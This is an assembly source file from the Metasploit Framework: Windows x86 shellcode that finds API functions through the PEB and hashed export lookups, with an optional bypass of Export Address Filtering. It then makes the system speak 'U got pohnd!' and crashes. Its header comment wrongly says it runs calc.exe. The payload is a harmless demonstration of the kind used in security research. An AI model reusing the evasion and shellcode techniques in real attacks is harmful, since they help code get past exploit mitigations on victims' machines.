metasploit-framework/external/source/shellcode/windows/speech/w32-speaking-shellcode.asm

151 lines
8.7 KiB
NASM
Raw Normal View History

; Copyright (c) 2009-2010, Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
; Project homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/
; All rights reserved. See COPYRIGHT.txt for details.
BITS 32
; Windows x86 null-free shellcode that executes calc.exe.
; Works in any application for Windows 5.0-7.0 all service packs.
; (See http://skypher.com/wiki/index.php/Hacking/Shellcode).
; This version uses 16-bit hashes.
%include 'w32-speaking-shellcode-hash-list.asm'
%define B2W(b1,b2) (((b2) << 8) + (b1))
%define W2DW(w1,w2) (((w2) << 16) + (w1))
%define B2DW(b1,b2,b3,b4) (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1))
%ifdef STACK_ALIGN
AND SP, 0xFFFC
%endif
find_hash: ; Find ntdll's InInitOrder list of modules:
XOR ESI, ESI ; ESI = 0
MOV ESI, [FS:ESI + 0x30] ; ESI = &(PEB) ([FS:0x30])
MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr
MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder (first module)
%ifdef DEFEAT_EAF
; The first loaded module is ntdll on x86 systems and ntdll32 on x64 systems. Both modules have this code:
; ntdll32!RtlGetCurrentPeb (<no parameter info>)
; 64a118000000 mov eax,dword ptr fs:[00000018h]
; 8b4030 mov eax,dword ptr [eax+30h]
; c3 ret
MOV EDX, [ESI + 0x08] ; EDX = InInitOrder[X].base_address == module
MOVZX EBP, WORD [EDX + 0x3C] ; EBX = module->pe_header_offset
ADD EDX, [EDX + EBP + 0x2C] ; EDX = module + module.pe_header->code_offset == module code
MOV DH, 0xF ; The EAF breakpoints are in tables that are at the start of ntdll,
; so we can avoid them easily...
scan_for_memory_reader:
INC EDX
CMP DWORD [EDX], 0xC330408B ; EDX => MOV EAX, [EAX+30], RET ?
JNE scan_for_memory_reader
PUSH EDX ; Stack = &(defeat eaf)
%endif
PUSH ESI ; Stack = InInitOrder[0], [&(defeat eaf)]
MOV SI, hash_kernel32_LoadLibraryA
next_module: ; Get the baseaddress of the current module and find the next module:
POP EDI ; EDI = InInitOrder[X] | Stack = [&(defeat eaf), ] "ole32\0\0\0"
MOV EBP, [EDI + 0x08] ; EBP = InInitOrder[X].base_address
PUSH DWORD [EDI] ; Stack = InInitOrder[X].flink == InInitOrder[X+1], [&(defeat eaf), ] "ole32\0\0\0"
get_proc_address_loop: ; Find the PE header and export and names tables of the module:
MOV EBX, [EBP + 0x3C] ; EBX = &(PE header)
MOV EBX, [EBP + EBX + 0x78] ; EBX = offset(export table)
ADD EBX, EBP ; EBX = &(export table)
MOV ECX, [EBX + 0x18] ; ECX = number of name pointers
JCXZ next_module ; No name pointers? Next module.
next_function_loop: ; Get the next function name for hashing:
MOV EDI, [EBX + 0x20] ; EDI = offset(names table)
ADD EDI, EBP ; EDI = &(names table)
MOV EDI, [EDI + ECX * 4 - 4] ; EDI = offset(function name)
ADD EDI, EBP ; EDI = &(function name)
XOR EAX, EAX ; EAX = 0
CDQ ; EDX = 0
hash_loop: ; Hash the function name and compare with requested hash
XOR DL, [EDI]
ROR DX, BYTE hash_ror_value
SCASB
JNE hash_loop
DEC ECX
CMP DX, SI ; Is this the hash we're looking for?
JE found_function ;
JCXZ next_module ; Not the right hash and no functions left in module? Next module
JMP next_function_loop ; Not the right hash and functions left in module? Next function
found_function:
; Found the right hash: get the address of the function:
MOV ESI, [EBX + 0x24] ; ESI = offset ordinals table
ADD ESI, EBP ; ESI = &oridinals table
MOVZX ESI, WORD [ESI + 2 * ECX] ; ESI = ordinal number of function
%ifdef DEFEAT_EAF
LEA EAX, [EBX + 0x1C - 0x30] ; EAX = &offset address table - MEMORY_READER_OFFSET
CALL [ESP + 4] ; call defeat eaf: EAX = [EAX + 0x30] == [&offset address table] == offset address table
%else
MOV EAX, [EBX + 0x1C] ; EDI = offset address table
%endif
ADD EAX, EBP ; EAX = &address table
MOV EDI, [EAX + 4 * ESI] ; EDI = offset function
ADD EDI, EBP ; EDI = &(function)
XOR ESI, ESI ; ESI = 0
CMP DX, hash_ole32_CoInitialize ;
JE ole32_CoInitialize ;
CMP DX, hash_ole32_CoCreateInstance
JE ole32_CoCreateInstance ;
kernel32_LoadLibrary:
PUSH BYTE '2' ; Stack = "2\0\0\0", InInitOrder[X] [, &(defeat eaf)]
PUSH B2DW('o', 'l', 'e', '3') ; Stack = "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)]
PUSH ESP ; Stack = &("ole32"), "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)]
CALL EDI ; LoadLibraryA(&("ole32")) | Stack = "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)]
XCHG EAX, EBP ; EBP = &(ole32.dll)
%ifdef DEFEAT_EAF
POP EAX ; Stack = "2\0\0\0", InInitOrder[X], &(defeat eaf)]
POP EAX ; Stack = InInitOrder[X], &(defeat eaf)
%endif
MOV SI, hash_ole32_CoInitialize ;
JMP get_proc_address_loop
ole32_CoInitialize:
PUSH ESI ; Stack = 0, InInitOrder[X] [, &(defeat eaf)]
CALL EDI ; CoInitialize(NULL), Stack = InInitOrder[X] [, &(defeat eaf)]
MOV SI, hash_ole32_CoCreateInstance ;
JMP get_proc_address_loop
ole32_CoCreateInstance:
PUSH 0xd422046e
PUSH 0x99efeca1
PUSH 0x499272b9
PUSH 0x6c44df74 ; Stack = IID_ISpVoice, ....
MOV EAX, ESP ; EAX = &(IID_ISpVoice)
PUSH 0x9673794f
PUSH 0xc001e39e
DEC DWORD [ESP+2]
PUSH 0x11d23391
PUSH 0x96749377 ; Stack = CLSID_SpVoice, IID_ISpVoice, ....
MOV EBX, ESP ; EBX = &(CLSID_SpVoice), ...
PUSH ESI ; Stack = voice, CLSID_SpVoice, IID_ISpVoice, ....
PUSH ESP ; Stack = &(voice), voice, CLSID_SpVoice, IID_ISpVoice, ....
PUSH EAX ; Stack = &(IID_ISpVoice), &(voice), voice, CLSID_SpVoice, IID_ISpVoice, ....
PUSH BYTE 0x17 ; Stack = CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, ....
PUSH ESI ; Stack = NULL, CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, ....
PUSH EBX ; Stack = &(CLSID_SpVoice), NULL, CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, ....
CALL EDI ; CoCreateInstance(&(CLSID_SpVoice), NULL, CLSCTX_ALL, &(IID_ISpVoice), &voice) | Stack = voice, ...
POP EBX ; EBX = voice | Stack = ...
PUSH B2DW('o', 'g', ' ', 'U') ; Stack = "og U", ...
PUSH B2DW('o', 'p', ' ', 't') ; Stack = "op tog U", ...
PUSH B2DW('!', 'd', 'n', 'h') ; Stack = "!dnhop tog U", ...
XCHG EAX, ESI ; EAX = 0
MOV ESI, ESP ; ESI = &("!dnhop tog U")
PUSH EAX ; Stack = 0, "!dnhop tog U", ...
unicode_loop:
LODSB ; read: "!dnhop tog U"
PUSH AX ; write: Stack = u"U got pohnd!", 0, "!dnhop tog U", ...
CMP AL, 'U' ; EAX == 0? (WCHAR == '\0'?)
JNE unicode_loop
MOV ECX, ESP ; ECX = &(u"U got pohnd!\0")
XOR EAX, EAX ; EAX = 0
PUSH EAX ; Stack = 0, ...
PUSH EAX ; Stack = 0, 0, ...
PUSH ECX ; Stack = &(u"U got pohnd!\0"), 0, 0, ...
PUSH EBX ; Stack = voice, &(u"U got pohnd!\0"), 0, 0, ...
MOV EDX, [EBX] ; EDX = voice->vftable
MOV ECX, [EDX+0x50] ; ECX = voice->vftable->Speak
CALL ECX ; SpVoice::Speak(voice, &(u"U got pohnd!\0"), 0, 0) | Stack = ...
INT3 ; Crash